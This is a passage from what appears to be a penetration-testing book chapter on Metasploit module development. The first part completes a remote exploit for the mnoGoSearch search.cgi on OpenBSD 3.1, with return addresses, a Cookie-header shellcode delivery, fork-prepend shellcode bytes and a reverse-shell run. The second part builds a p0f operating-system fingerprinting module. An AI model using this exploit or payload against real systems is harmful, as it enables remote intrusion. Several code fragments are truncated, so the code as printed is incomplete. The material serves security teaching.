                        [ 'OpenBSD/3.1',    0xdfbfadcd, 0xdfbf6f6f ]
sub Exploit
        my $targetIdx   = $self->GetVar('TARGET');
        my $payload     = $self->GetVar('EncodedPayload');
        my $rp          = $payload->RawPayload;
        my $target      = $self->Targets->[$targetIdx];
        my $ret         = $target->[1];
        my $ptr         = pack("V",$target->[2]);

        $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
#we'll change the end of the request to add a cookie header with our shellcode
            " HTTP/1.0\r\n"         .
            "Cookie: " . "\x90"x4000 . $rp . "\r\n\r\n";

Now test it out in msfconsole using the bsdx86_reverse payload:

msf mnogosearch_wf(bsdx86_reverse) > show options

Exploit and Payload Options

  Exploit:    Name      Default          Description
  --------    ------    -------------    ------------------------------
  optional    SSL       0                Use SSL
  required    RPORT     80               The target HTTP server port
  required    URI       /cgi-bin/search.cgi      The target CGI URI
  required    RHOST    The target HTTP server address

  Payload:    Name      Default          Description
  --------    ------    -------------    -----------------------------------
  required    LPORT     9999             Local port to receive connection
  required    LHOST    Local address to receive connection

  Target: OpenBSD/3.1

msf mnogosearch_wf(bsdx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Trying exploit target OpenBSD/3.1
[*] Got connection from

msf mnogosearch_wf(bsdx86_reverse) >

It appears to have worked, but the connection dropped as soon as it was received. Sniffing the traffic on the wire reveals that the shellcode was executing and we did in fact get a connection back, but it seems the connection was torn down and the process was killed. To get to the root of this problem, let's think about the way CGIs usually work: the web server spawns the CGI process using fork( ) , then waits for a timeout, at which point it kills the child process. To avoid this, we spawn a new process and split from the CGI process using the fork( ) system call before our shellcode executes. Here's one way we can do this for OpenBSD:

xorl    %eax,%eax
movb    $0x2,%al
pushl   %eax
int     $0x80
add     $0x4,%esp
test    %edx,%edx
je      $0x0d      ;original process ends

You should prepend the opcodes for this assembly routine to the payload by overriding the PayloadPrepend() method of the Msf::Exploit class. Now, as the module executes, MSF will automatically call this method and prepend the forking code before it encodes the shellcode. To support variable encoders and NOP generators, change the HTTP request to use an MSF-generated full payload that includes a NOP sled, decoding stub, and encoded shellcode. Now, everything should come together, and as you can see in Figure 5-6, our work pays off with a fully working remote exploit:

Figure 5-6. A sample run of the completed working module

A sample run of the completed working module

sub PayloadPrepend{
        my $self = shift;
        return "\x31\xc0\xb0\x02\x50\xcd\x80\x83\xc4\x04\x85\xd2\x74\x0d";

        my $payload     = $self->GetVar('EncodedPayload');
        my $fullpayload         = $payload->Payload;
#change the end of request to use a full payload now
         "Cookie: " . $fullpayload . "\r\n" .

Writing an Operating System Fingerprinting Module for MSF

Assuming an exploit works, the key factors for successful exploitation are the PAYLOAD and TARGET settings. If the target host is behind a well-configured firewall, a bind socket payload won't allow you to access the host. Also, if you don't know the remote operating system, using an OS-specific target is useless; a return address for Windows NT typically won't work against a Windows XP machine.

Usually the application level can aid in the targeting process. For instance, if an HTTP request returns Apache/1.3.22 (Win32), you probably aren't using FreeBSD targets. But what if the service yields no obvious clue regarding its underlying operating system? In this case we would use a technique called operating system fingerprinting to narrow the scope of possible targets and increase the likelihood of success. This is vital for so-called "one-shot" exploits in which the service crashes or becomes unexploitable after failed attempts.

Operating System Fingerprinting and p0f

When we talk about operating system fingerprinting we're really talking about identifying a remote operating system based on the characteristics of its TCP/IP network stack. Due to differences in the way developers implement networking stacks, typically, unique identifiers within the packets transmitted by a host will allow for comparison based on known signatures.

Two general techniques are used to profile a networking stack for known signature comparison: active and passive. Active fingerprinting requires network interaction with the target host by sending out a probe and then looking for packet settings or flags that differ in the response. For example, if I were to send a packet to an open port with the ACK TCP flag set, and then I received a response packet from the host with a window size of 4,000, the DF bit set, the RST flag set, and the sequence number unsynced with the one sent, I could search through a list of known behaviors from this type of probe and establish that this likely is the Mac OS 8.6 operating system. Of course, this requires that a huge database of known stack signatures be compiled beforehand. Nmap by Fyodor ( is one of the best active fingerprinting tools in the field; it uses a variety of probes and has a signature database with thousands of entries.

Passive fingerprinting doesn't require special probes. Passive fingerprinting observes normal network traffic, but uses the same difference analysis techniques as active fingerprinting to take a best guess at what the OS is. Passive fingerprinting is useful in situations where stealth is a high priority or where we have access to all network traffic, such as a compromised router, a wireless network, or a hubbed network. p0fby Michal Zalewski ( is a program that implements passive signature-matching techniques very effectively. p0f uses 15 different analysis techniques to determine the operating system and other valuable information, such as uptime, network link type, and firewall/NAT presence.

This described functionality fills our need for better targeting and payload settings, so let's write an MSF module for it. One way to do this is to launch p0f and process its text output; however, this would provide inconsistent results, as the p0f display format varies based on the command-line options used. Fortunately, p0fprovides an interface for querying its connection cache via traditional Unix sockets. This simple interface is outlined in the p0f-query.c file that comes in the latest version of the p0f source. The examples in this chapter use p0f Version 2.0.4.


The Microsoft family of operating systems does not fully support Unix sockets, so this functionality in p0f will not work on Windows operating systems.

Setting Up and Modifying p0f

When setting up p0f , you should use options that set up the Unix socket and specific SYN/ACK mode. The A option places the program in SYN/ACK mode, the O option indicates that the Unix socket interface will be used, and ~/socket is given as the name of the socket. This mode will fingerprint systems we connect to, as opposed to the default, which fingerprints systems that connect to us. After launching p0f, do a basic HTTP request so that p0f has some packets to fingerprint:

$p0f -qlAQ ~/socket - Linux recent 2.4 (1) (up: 210 hrs) -> (distance 1, link: pppoe (DSL))

Leave that process running in a shell and then, in a separate shell, use the p0fq example tool to query the socket for the specific connection:

$./p0fq ../sock 80 9818
Genre    : Linux
Details  : recent 2.4 (1)
Distance : 1 hops
Link     : pppoe (DSL)
Uptime   : 210 hrs

This appears to be working, but specifying source and destination ports is too cumbersome. Let's write a small patch to p0f to make it easier on the user. The following patch is against p0f Version 2.0.4. You can apply it with the patch -p0 < p0f-2.0.4-msf.patch command:

---     Fri Jan  3 18:19:58 2004
+++ p0f-query.c Fri Jan  3 19:09:46 2004
@@ -122,6 +122,14 @@
         send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);

+    }else if((cur->sad == q->src_ad) && (cur->dad == q->dst_ad) &&
+              (q->src_port == NULL) && (q->dst_port == NULL)){
+       struct p0f_response* n = &cur->s;
+        n->magic = QUERY_MAGIC;
+        n->type  = RESP_OK;
+        n->id    = q->id;
+        send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);
+        return;

This patch adds a "search mode" that allows us to search the cache by the source and destination IP addresses only (both of the ports will be NULL). This selects the first hit in the cache for interaction between the source and destination IP addresses.

Writing the p0f_socket Module

Now, to write the module itself, first determine what MSF options a user would need to set. The query needs the host to fingerprint and the source IP address that makes the connection—that is, our IP address. For the target IP address, use RHOST as a user option. The source IP address can be autodetected via a method from Pex::Utils, but we'll leave it as an advanced option named SourceIP just in case a user wants to specify it. After p0f is launched with the -Q option, it creates a socket file on the filesystem. The SOCK user option allows a user to specify the path to the socket file. A nice feature would be an "active" mode in which the module initiates a remote connection to an open port. To enable this, add an ACTIVE Boolean user option that will toggle the functionality, as well as an RPORT user option that should be a known open port. Now, if a user chooses passive mode, the module will have to wait for a connection to appear in the cache. In that case we'll assume the connection will appear close to the time the user executes the module, so we'll use an advanced option named Timeout with a default value of 30 seconds to wait for the connection to appear in the cache.

Our Exploit( ) method's logic flow is pretty simple. First, it determines whether a user wants active or passive mode. In active mode it makes a connection, and then it makes a query to the p0f socket. If it doesn't get a response, it will wait in the hope that a connection will exist in the cache before the timeout. You can implement this as shown here using the previously discussed user options:

sub Exploit {
    my $self = shift;
    my $target = $self->GetVar('RHOST');
    my $port = $self->GetVar('RPORT');
    my $active_mode = $self->GetVar('ACTIVE');
    my $timeout = int($self->GetLocal('Timeout'));

After loading some MSF user options the method checks for Active mode, which simply initiates a TCP connection so that p0f can fingerprint the SYN/ACK from the target and add the connection to its cache:

    if($active_mode){ # "Active" mode
        my $s = Msf::Socket::Tcp->new
            'PeerAddr' => $target,
            'PeerPort' => $port

        if ($s->IsError){
            $self->PrintLine('[*] Error creating TCP socket in active mode: '
                            . $s->GetError);
            #the connection is made, a cache entry should have been added
            goto doQuery;
        $s->Close( );

At this point a connection should exist in the p0f cache, so the method tries to query the socket using Query( ), and if it encounters errors it waits until the timeout to try again before giving up:

    if($self->Query($target) < 0){
        $self->PrintLine("[*] Inital p0f query unsuccessful, sleeping ".
        $timeout ." seconds");
        for(1 .. $timeout){ print "."; sleep(1);}print "\n";
        if($self->Query($target) < 0){
            $self->PrintLine("[*] All p0f queries unsuccessful.".
            "Make sure that:\n".
            "-p0f is setup correctly(-Q and -A, binding interface, etc.)\n".
            "-if using passive mode(default) it is up to you to get a connection\n".
            " entry into the p0f cache, use active mode if you want to make things
            "-if using active mode make sure RPORT is set to an open TCP port on the


The final piece to complete this module is the Query() method. To correctly format the p0f query and parse the response, use the format of the structure defined in p0f-query.h. If errors crop up while making and parsing the query, display an appropriate error message and return a negative error code so that Exploit( ) can act accordingly:

sub Query {
    my $self = shift;
    my $target = shift;
    my $unixsock = $self->GetVar('SOCK');
    my $QUERY_MAGIC = 0x0defaced;
    my $qid = int rand(0xffffffff);
    my $src = inet_aton($target);
    my $dst;

After loading up some variables and parameters set up the query and send it to the socket. Note that this code uses the source and destination port values of 0 due to our patch to p0f:

        $self->PrintLine("Cannot resolve $target");
        return -1;
    if($self->GetLocal('SourceIP') eq "auto-detect"){
        $dst = inet_aton(Pex::Utils::SourceIP( ));
        $dst = inet_aton($self->GetLocal('SourceIP'));
    my $query = pack("L L", $QUERY_MAGIC, $qid) .
                 $src . $dst . pack("S", 0)x2;

    my $sock = new IO::Socket::UNIX (Peer => $unixsock,
                                 Type => SOCK_STREAM);
        $self->PrintLine("Could not create UNIX socket: $!");
        return -2;

    # Send the request, receive response stucture
    print $sock $query;
    my $response = <$sock>;
    close $sock;

Assuming a response was received from the socket, unpack the response and do some error checking to make sure everything is satisfactory before it is displayed:

    # Break out the response vars
    my ($magic, $id, $type, $genre,
        $detail, $dist, $link, $tos,
        $fw, $nat, $real, $score,
        $mflags, $uptime) = unpack ("L L C Z20 Z40 c Z30 Z30 C C C s S N", $response);

    # Error checking
    if($magic != $QUERY_MAGIC){
        $self->PrintLine("Bad response magic");
        return -3;
    }elsif(int($id) != int($qid)){
        $self->PrintLine(sprintf("Wrong query id: 0x%08x != 0x%08x", $id, $qid));
        return -4;
    }elsif($type == 1){
        $self->PrintLine("P0f did not honor our query.");
        return -5;
    }elsif($type == 2){
        $self->PrintLine("This connection is not (no longer?) in p0f's cache.");
        return -6;

    # Display result
    if( !$genre ){
        $self->PrintLine("Genre and details unknown");
        $self->PrintLine("Genre    : " . $genre . "\n".
                        "Details  : " . $detail);
        $self->PrintLine("Distance : " . $dist) unless ($dist == -1);
    $self->PrintLine("Link     : " . $link . "\n".
                     "Service  : " . $tos . "");
    $self->PrintLine("Uptime   : " . $uptime . " hrs") unless ($uptime == -1);
    $self->PrintLine("The host appears to be behind a NAT") if $nat;
    $self->PrintLine("The host appears to be behind a Firewall") if $fw;

    return 0;

When we are done we'll put the module into the ~/.msf/exploits/ directory, populate the %info and %advanced hashes with some metadata, and launch msfconsole to test it out. Figure 5-7 shows an example of how the p0f_socket module works.

Figure 5-7. The p0f_socket module in action

The p0f_socket module in action

Personal tools